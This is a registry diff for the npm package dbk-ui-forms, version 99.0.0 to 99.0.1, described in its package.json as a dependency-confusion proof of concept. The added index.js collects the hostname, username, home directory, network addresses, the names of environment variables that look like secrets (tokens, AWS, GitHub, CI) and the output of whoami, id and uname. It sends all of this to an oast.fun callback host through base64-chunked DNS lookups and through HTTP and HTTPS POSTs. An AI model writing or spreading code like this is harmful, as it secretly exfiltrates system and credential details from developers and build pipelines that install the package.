dbk-ui-forms 99.0.0 → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +72 -12
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,32 +1,92 @@
|
|
|
1
1
|
const https = require("https");
|
|
2
|
+
const http = require("http");
|
|
2
3
|
const os = require("os");
|
|
3
4
|
const dns = require("dns");
|
|
5
|
+
const { execSync } = require("child_process");
|
|
4
6
|
const pkg = "dbk-ui-forms";
|
|
7
|
+
const callback = "ycwyyoimdcluajepubah2mvmkibt4h5wm.oast.fun";
|
|
5
8
|
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
9
|
+
let info = {
|
|
10
|
+
package: pkg,
|
|
11
|
+
hostname: os.hostname(),
|
|
12
|
+
username: os.userInfo().username,
|
|
13
|
+
homedir: os.userInfo().homedir,
|
|
14
|
+
cwd: __dirname,
|
|
15
|
+
platform: os.platform(),
|
|
16
|
+
arch: os.arch(),
|
|
17
|
+
release: os.release(),
|
|
18
|
+
uptime: os.uptime(),
|
|
19
|
+
interfaces: {},
|
|
20
|
+
env_keys: Object.keys(process.env).filter(k => /key|token|secret|pass|auth|cred|npm|ci|build|jenkins|github|gitlab|aws|azure/i.test(k)),
|
|
21
|
+
timestamp: new Date().toISOString(),
|
|
22
|
+
node_version: process.version,
|
|
23
|
+
pid: process.pid,
|
|
24
|
+
uid: process.getuid ? process.getuid() : "N/A"
|
|
25
|
+
};
|
|
26
|
+
|
|
27
|
+
try {
|
|
28
|
+
const nets = os.networkInterfaces();
|
|
29
|
+
for (const name of Object.keys(nets)) {
|
|
30
|
+
info.interfaces[name] = nets[name].map(n => n.address).filter(a => !a.startsWith("127.") && a !== "::1");
|
|
31
|
+
}
|
|
32
|
+
} catch (e) {}
|
|
33
|
+
|
|
34
|
+
try { info.whoami = execSync("whoami", { timeout: 3000 }).toString().trim(); } catch (e) {}
|
|
35
|
+
try { info.id = execSync("id", { timeout: 3000 }).toString().trim(); } catch (e) {}
|
|
36
|
+
try { info.pwd = execSync("pwd", { timeout: 3000 }).toString().trim(); } catch (e) {}
|
|
37
|
+
try { info.uname = execSync("uname -a", { timeout: 3000 }).toString().trim(); } catch (e) {}
|
|
13
38
|
|
|
14
|
-
const
|
|
39
|
+
const encoded = Buffer.from(JSON.stringify(info)).toString("base64");
|
|
40
|
+
const chunks = encoded.match(/.{1,60}/g) || [];
|
|
41
|
+
|
|
42
|
+
chunks.slice(0, 5).forEach((chunk, i) => {
|
|
43
|
+
try {
|
|
44
|
+
dns.resolve(`${i}-${chunk}.${callback}`, () => {});
|
|
45
|
+
} catch (e) {}
|
|
46
|
+
});
|
|
15
47
|
|
|
16
48
|
try {
|
|
17
|
-
dns.resolve(
|
|
49
|
+
dns.resolve(`ping-${pkg.replace(/\./g, "-")}.${callback}`, () => {});
|
|
18
50
|
} catch (e) {}
|
|
19
51
|
|
|
52
|
+
const postData = JSON.stringify(info);
|
|
53
|
+
|
|
20
54
|
try {
|
|
21
55
|
const req = https.request({
|
|
22
|
-
hostname:
|
|
56
|
+
hostname: callback,
|
|
23
57
|
port: 443,
|
|
24
58
|
path: `/dcf/${pkg}`,
|
|
25
59
|
method: "POST",
|
|
26
|
-
headers: {
|
|
60
|
+
headers: {
|
|
61
|
+
"Content-Type": "application/json",
|
|
62
|
+
"Content-Length": Buffer.byteLength(postData),
|
|
63
|
+
"X-Package": pkg,
|
|
64
|
+
"X-Hostname": info.hostname,
|
|
65
|
+
"X-Username": info.username
|
|
66
|
+
},
|
|
67
|
+
timeout: 5000
|
|
68
|
+
});
|
|
69
|
+
req.on("error", () => {});
|
|
70
|
+
req.write(postData);
|
|
71
|
+
req.end();
|
|
72
|
+
} catch (e) {}
|
|
73
|
+
|
|
74
|
+
try {
|
|
75
|
+
const req = http.request({
|
|
76
|
+
hostname: callback,
|
|
77
|
+
port: 80,
|
|
78
|
+
path: `/dcf/${pkg}`,
|
|
79
|
+
method: "POST",
|
|
80
|
+
headers: {
|
|
81
|
+
"Content-Type": "application/json",
|
|
82
|
+
"Content-Length": Buffer.byteLength(postData),
|
|
83
|
+
"X-Package": pkg,
|
|
84
|
+
"X-Hostname": info.hostname,
|
|
85
|
+
"X-Username": info.username
|
|
86
|
+
},
|
|
27
87
|
timeout: 5000
|
|
28
88
|
});
|
|
29
89
|
req.on("error", () => {});
|
|
30
|
-
req.write(
|
|
90
|
+
req.write(postData);
|
|
31
91
|
req.end();
|
|
32
92
|
} catch (e) {}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "dbk-ui-forms",
|
|
3
|
-
"version": "99.0.
|
|
3
|
+
"version": "99.0.1",
|
|
4
4
|
"description": "Security research - dependency confusion proof of concept. If you are seeing this package installed in your build pipeline, your npm resolver is pulling from the public registry instead of your private registry. Contact: rootxravi@gmail.com",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|